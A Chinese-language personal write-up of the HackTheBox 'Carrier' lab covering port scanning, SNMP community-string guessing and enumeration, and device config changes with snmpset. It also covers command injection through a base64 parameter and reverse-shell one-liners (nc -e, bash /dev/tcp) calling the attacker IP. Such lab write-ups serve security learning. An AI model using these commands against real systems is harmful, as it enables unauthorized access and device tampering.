HTB Carrier

看来还是要从高分往低分去做 呜呜呜

渗透

1.信息收集

先看一下端口

先拿nmap去扫一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[~]
└─$ nmap -sV -sT -sC -o nmapinitial 10.10.10.105
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-30 01:46 EDT
Nmap scan report for 10.10.10.105
Host is up (0.30s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open tcpwrapped
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp open tcpwrapped
|_http-title: Login

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 73.20 seconds

不过没看懂这啥意思 找到一个好玩的网站 https://explainshell.com/

或者这样

1
nmap -sC -sV -oA nmap/initial -vv -T3 ip

Ok, 开了两个端口

应该就是单点渗透了

2.初步测试

image-20220730135632941

只有一个登录框

先扫一下目录先

1
gobuster dir -u http://10.10.10.105/ -w /usr/share/wordlists/dirb/common.txt -t 100 

加上 -t 控制线程 会更快

但有点乱说实话

1
2
3
4
5
6
7
8
9
10
11
/.hta                 (Status: 403) [Size: 291]
/.htpasswd (Status: 403) [Size: 296]
/.htaccess (Status: 403) [Size: 296]
/css (Status: 301) [Size: 310] [--> http://10.10.10.105/css/]
/debug (Status: 301) [Size: 312] [--> http://10.10.10.105/debug/]
/doc (Status: 301) [Size: 310] [--> http://10.10.10.105/doc/]
/img (Status: 301) [Size: 310] [--> http://10.10.10.105/img/]
/index.php (Status: 200) [Size: 1509]
/js (Status: 301) [Size: 309] [--> http://10.10.10.105/js/]
/server-status (Status: 403) [Size: 300]
/tools (Status: 301) [Size: 312] [--> http://10.10.10.105/tools/]

看看存不存在弱密码或者注入

说实话 不知道为什么 我最近看到跳转的就不想去看了 这不对

得到一下三点有用信息

img

这里也说明了 存在别的服务但是我们没有发现

可以看到的是页面上已经有两个错误码了

45007 和 45009

2.继续做信息收集

nmap怎么才能更详细地去扫?

我觉得我要重新学习一边nmap 我太菜了

NMAP参数详解 - FreeBuf网络安全行业门户

1
UDP扫描:(UDP扫描费时,所以去掉-p-,默认扫描)nmap -sU ip
1
nmap -sU 10.10.10.105

这里我实在是受不了了 太慢了

改用 masscan

1
masscan --rate=1000 -p U:0-65535 --banners 10.10.10.105

快多了 但却是没扫出来啊啊啊啊啊

什么情况

只有这样才扫出来?大无语

1
nmap -sU -o nmapudp 10.10.10.105
1
2
PORT    STATE SERVICE
161/udp open snmp

ok 可以来看看 这 161 端口

啥是snmp?

实战SNMP服务攻击 - FreeBuf网络安全行业门户

SNMP基础

简介

SNMP全称简单网络管理协议,是专门设计用于在IP网络管理网络节点(服务器、工作站、路由器、交换机及HUBS等)的一种标准协议,是一种应用层协议。通过SNMP可以访问设备信息、改写和配置设备参数等,SNMP运行在UDP161端口上,采用UDP协议在管理端和agent之间传输信息。

架构

SNMP架构主要分如下三个部分组成:

  • 网络管理系统(NMS,Network-management systems)
  • 被管理的设备(managed device)
  • 代理者(agent)

上面这三部分从名字上看很复杂,其实很简单。我们只需要知道,”NMS”就是客户端,”被管理的设备”就是交换机、路由器之类的设备,而”代理者”可以理解为装在交换机上的一个程序而已。

SNMP版本

SNMP目前共有v1、v2c、v3这三个版本:

  • SNMP v1是SNMP协议的最初版本,不过依然是众多厂家实现SNMP的基本方式;
  • SNMP v2c通常被指是基于Community的SNMP v2c,而Community本质上就是密码;
  • SNMP v3是最新版本的SNMP,它对网络管理最大的贡献在于其安全性,增加了对认证和密文传输的支持。

Community String

Community String在交换机与路由器配置里意为”社区字符串”也有人叫”团体名”,其实说的都是一个东西。Community其实就是充当密码作用的一串字符串而已。大多数的设备供应商,默认都有两个Community String:

  • public 通常用来查询(只读)
  • private 通常用来查询和配置(读写)

P.S:很多安全问题就是由这两个”默认密码”而引发的。

MIB和OID

MIB全称管理信息库,是一种树状数据库;MIB管理的对象,就是树的节点。每个节点都有唯一名字和唯一OID(Object Identifier),OID由树上的一系列整数组成,整数之间用点( . )分隔开,树的叶子节点才是真正能够被管理的对象。

我们通过SNMP获取信息就会用到OID,比如网络设备名的OID 是.1.3.6.1.2.1.1.5.0,其值为设备名称的字符串。简单点来理解就是:把MIB当成一个k.v数据库,我们输入key(OID)就能获取到对应的value

为了方便查阅,我们收集了一些OID列表和MIB库。

OID查询

除了上面提到的,其实还有一种方法可以获取MIB库。那就是直接从设备供应商的官网进行下载,如下是我在h3c文档上看到的。img

UDP 和 TCP 啥区别?

UDP简介: UDP(User Datagram Protocol)是一种无连接的协议,在第四层-传输层,处于IP协议的 上一层。UDP有不提供数据包分组、组装和不能对数据包进行排序的缺点,也就是说,当报 文发送之后,是无法得知其是否安全完整到达的。

UDP显著特性:

1.UDP 缺乏可靠性。UDP 本身不提供确认,超时重传等机制。UDP 数据报可能在网络中被 复制,被重新排序,也不保证每个数据报只到达一次

2.UDP 数据报是有长度的。每个 UDP 数据报都有长度,如果一个数据报正确地到达目的 地,那么该数据报的长度将随数据一起传递给接收方。而 TCP 是一个字节流协议,没有任 何(协议上的)记录边界。

3.UDP 是无连接的。UDP 客户和服务器之前不必存在长期的关系。大多数的UDP实现中都 选择忽略源站抑制差错,在网络拥塞时,目的端无法接收到大量的UDP数据报 4.UDP 支持多播和广播

img

https://blog.csdn.net/Li_Ning_/article/details/52117463

基于UDP的扫描

nmap扫描

1
nmao -sU -T5 -sV --max-retries 1 192.168.1.100 -p 500 (不推荐,理由慢)

-sU 基于UDP的扫描

-T5 nmap的扫描速度 -T(0-5)越大越快

-sV 探测开启的端口来获取服务、版本信息

–max-retries 扫描探测的上限次数设定

-p 只扫描指定端口

msf扫描

两个模块

1
use auxiliary/scanner/discovery/udp_prob
1
use auxiliary/scanner/discovery/udp_sweep

use 引用

show options 显示可设置的参数

auxiliary (辅助)/ scanner(扫描)/discovery(发现)/udp_probe(探测)/udp_sweep(彻底搜索)

1
2
3
4
5
6
msf6 auxiliary(scanner/discovery/udp_sweep) > run

[*] Sending 13 probes to 10.10.10.105->10.10.10.105 (1 hosts)
[*] Discovered SNMP on 10.10.10.105:161 ()
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

下次再也不用nmap了 太慢了 艹

net-snmp

kali系统里面已经内置net-snmp工具包,我们直接终端输入命令即可使用;net-snmp是我们本次测试SNMP主要工具,后续的操作都采用这款工具进行演示和操作。

Net-snmp工具包提供如下工具,支持对交换机进行各种操作。

img

而我们平常主要使用snmpwalk、snmpget、snmpset这三款工具进行测试。snmpwalk和snmpget都可以用来获取值,其主要区别是snmpwalk是对OID值的遍历,而snmpget是取具体的OID的值。

4.打snmp

首先要去获取一个叫 Community String 的东西,前面的基础知识已经介绍了Community String就是密码,所以我们要想使用SNMP肯定需要先知道它对应的”密码”。

然后分为两个步骤

默认密码尝试&爆破

大多数的设备供应商和一些网管都喜欢用public和private。

image-20220801233558415

还真给试出来了

如果通过手动尝试默认密码失败之后,我们还可以进行爆破。一般SNMP密码都不会太复杂,很容易就跑出来了。

进行SNMP密码爆破,我们需要用到一款新的工具onesixtyone

1
2
3
4
┌──(root㉿kali)-[/tmp/sql]
└─# onesixtyone -c /usr/share/doc/onesixtyone/dict.txt 10.10.10.105 -w 64
Scanning 1 hosts, 51 communities
10.10.10.105 [public] Host responded with error NO SUCH NAME

也不知道这算不算扫出来了(应该算吧

这里有个string STRING: "SN#NET_45JDX23"

看了眼wp 说这是登录密码 (捂脸) 我经验太少啦

snmp攻击学习

敏感信息获取

敏感信息获取。在拿到”密码”之后我们就可以开始下一步利用了,我们需要收集什么信息可以通过之前提供的OID表进行查询,需要注意的是不同设备OID是不同的。

  • 获取设备名
1
snmpget -c private -v2c 192.168.6.1 .1.3.6.1.2.1.1.5.0

img

  • 获取设备运行了多久
1
snmpget -c private -v2c 192.168.6.1 1.3.6.1.2.1.1.3.0

img

  • 获取设备划分的vlan
1
snmpwalk -c private -v2c 192.168.6.1 1.3.6.1.4.1.25506.8.35.2.1.5.1.2

img

  • 获取设备开放的端口
1
snmpwalk -c private -v2c 192.168.6.1 1.3.6.1.2.1.6.13.1.2

img

  • 获取存活的内网ip
1
snmpwalk -c private -v2c 192.168.6.1 1.3.6.1.2.1.4.22.1.1.634

img

如果嫌找OID太麻烦,还可以直接用snmpwalk遍历整个MIB库。然后把数据保存下来慢慢翻,这也是种不错的选择。

1
snmpwalk -c private -v2c 192.168.6.1 >>h3c_oid.txt

img

P.S:如果查询的内容返回值是单条信息,如”设备名称”可以用snmpget工具进行查询。如果是返回多条信息如”vlan信息”就需要用snmpwalk工具进行查询。snmpwalk单条信息和多条信息都使用,因为它是对OID进行遍历操作。

设备配置修改

除了可以读取信息,我们还可以对设备的配置进行修改。但这样做侵入性非常高,不建议这样做,一旦操作失误,极有可能暴露自己,从而导致权限的丢失。下面简单的演示一下配置修改:

我们先获取设备的名称。从返回值我们可以知道该设备名是”H3C”

1
snmpget -c private -v2c 192.168.6.1 .1.3.6.1.2.1.1.5.0

img

我们尝试对其进行修改,把名称改为”hacker”。

1
snmpset -c private -v2c 192.168.6.1 .1.3.6.1.2.1.1.5.0 s "hacker"

img

再次获取设备名,发现已经修改成功了。

img

如果拿到的”社区字符串”是只读权限的,我们尝试修改会报如下错误:

img

在实战中,我们可以根据目标具体的场景来做不同的修改:如改一下设备的ACL。

SNMP rce

最后再来谈谈rce。SNMP并不是所有设备都可以被rce,目前看来好几个可以rce的都已经加到msf模块里面了。除此之外,如果目标是linux系统还可以借助NET-SNMP-EXTEND-MIB来进行rce。由于篇幅原因这里不再深入研究,具体操作可见下面两篇文章:

参考

5.登录后继续测试

1
2
用户 admin
密码 NET_45JDX23

然后再去看看有没有什么可以打的地方

image-20220802003007736

在这里找到了 像是可以进行命令执行的东西

抓个包来看看

image-20220802003346930

base64解一下码试一试

image-20220802003328767

ok 感觉命令执行有了

试了几条命令好像没啥反应 试了下 id 结果有反应了

image-20220802004055803

但我还是没搞明白 到低怎么直接执行命令 估计是要去拼接什么东西?

Quagga的安装和使用 - 走看看 (zoukankan.com)

我大意了 加个; 就可以直接命令执行 小技巧 果然需要积累啊啊啊

image-20220802004942414

bp ctrl + B 即可base64 (每天一个小技巧

可以命令执行后 我们想要反弹一个shell

貌似curl跑不通 试试直接反弹shell

1
nc -e /bin/sh 10.10.14.7 5000
1
root;bash -i >& /dev/tcp/10.10.14.7/5000 0>&1

估计是环境 or 网有问题 反弹shell过不来 草

6.路由劫持部分

这块说实话我是小白一个

关于BGP那些事儿 - FreeBuf网络安全行业门户

升华部分

现在我们通过这题来思考一个问题

假如给你一个登录框

你应该测试哪些东西?如何去测试

正好这两天再先知社区上看到一个人写了类似的文章 这里 我也来总结一下

实战登录框漏洞测试 - 先知社区 (aliyun.com)

sql注入

弱密码

验证码内容是否可控?

越权与逻辑漏洞